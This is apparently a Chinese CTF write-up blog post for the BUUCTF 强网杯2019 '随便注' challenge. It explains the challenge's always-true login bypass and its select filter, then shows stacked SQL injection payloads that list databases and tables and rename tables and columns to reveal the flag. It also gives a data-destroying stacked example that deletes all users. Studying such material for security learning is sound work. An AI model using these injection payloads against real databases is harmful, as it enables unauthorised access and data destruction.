BUUCTF-强网杯2019随便注 write up(笔记系列)

打开靶机,输入万能密码1'or 1=1;来查看所有内容:

万能密码原理:

万能密码能够绕过sql检测,在sql数据库中,运算符也是有优先级的,=优先于and,and优先于or,简单来说1=‘1’恒成立,因此返回值永远为True,且在SQL语法中 # 是注释符,所以后面的语句都会被注释掉。

通过万能密码我们看到所有回显,以及所有信息,不过这样我们无法提取有用信息,所以下面我们输入1'; union seclect 1,2;#回显一个正则过滤规则:

回显的正则过滤规则:

1' ;union seclect 1,2;#来得到,其中回显的函数全都是被过滤掉的,我们由此可以知道哪些函数没有用,这里的被过滤函数出现了select,select被过滤意味着这道题无法联合(union)注入

拓展:preg_match:PHP正则表达式preg_match函数的使用:
利用 preg_match(),可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。

 所以为了解题,我们采用堆叠注入

堆叠注入是什么呢:

在sql中,分号(;)表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。

 比如我们要进行user的信息查询,之后全部删除他的信息,就能用user注入:

select * from users where id =1;delete from users;

第一句查询user的信息,                         第二句删除user的信息

了解堆叠注入后,回归本题,我们利用堆叠注入来查询一下所有的库名:

1'; show databases;#    -->show是一个指令

 

 以上就是所有的库名啦,接下来我们继续查表名:

1';show tables;#

 从这里我们能看到一共有两个表:words,1919810931114514

表里面会有什么信息呢,我们继续用1';desc `表名`;#或者1'; show columns from `表名`;#来读取一下:

desc用于查看表的结构   show columns显示表的列信息。

 这里注意一下,表名要用反引号`括起来,在mysql中,windows下要区分单引号''和反引号``,(linux下不区分):

单引号主要用于字符串的引用,反引号主要用于数据库,表,索引,列,别名

可以在数字表中看到flag,而看了上面的回显,“nonono”,以及上面的代码,应是words给的回显,因为数字表只有一个字段放flag,也就是说,我们查询的窗口内容都是words回显,那么我们只需让数字表回显出来flag就行了。

已知内部查询语句:select id,data from word where id =

(select 语句:select语句用来检索数据表中的数据,而哪些数据被检索由列出的数据行与语句中的where子句决定)

那么我们使用堆叠查询,rename和alter都没有被过滤,所以可以通过更改表名和列名的操作获得flag。

拓展:在sql中,rename和change都是用于修改名称的

rename修改的是表名称,而change修改的是表中的字段名称。

在MySQL中,rename table 和alter table语句来重命名表,(不能使用rename table 语句重命名一个临时表,但可以使用 alter table 语句来重命名一个临时表)修改表名:

rename table old_table_name to new_table_name;

1.先对words进行改表名防止重名:rename table `words` to `word`;

2.将数字表改为words表名(在窗口回显内容):rename table `1919810931114514` to `words`;

3.我们查表结构时看到words里有两个字段id列和数据data,但数字表没有id,所以我们把flag换成id:alter table `words` change `flag` `id` varchar(100);#  或者给他也添加上一个id列:alter table `words` add id int(10);(这里的words是修改过的数字表)

-->如果修改flag为id直接堆叠:

1';rename table `words` to `word`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);#

-->如果选择添加一个id列选择以下步骤:(4.给数字表(已经换表名为words)alert table words change flag data varchar(20); # 把字段名flag改成data(令数字表与先前的words字段保持一致))

堆叠一下:1';rename table `words` to `word`;rename table `1919810931114514` to `words`;alter table `words` add id int(10);alter table `words` change flag data varchar(20);#

最后再用万能密码输入就能回显出来flag :

 我的天,这题真的看了好多好多知识点,跟打笔记一样,,如果有大佬看到有不妥之处请务必指出,也欢迎找俺讨论

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值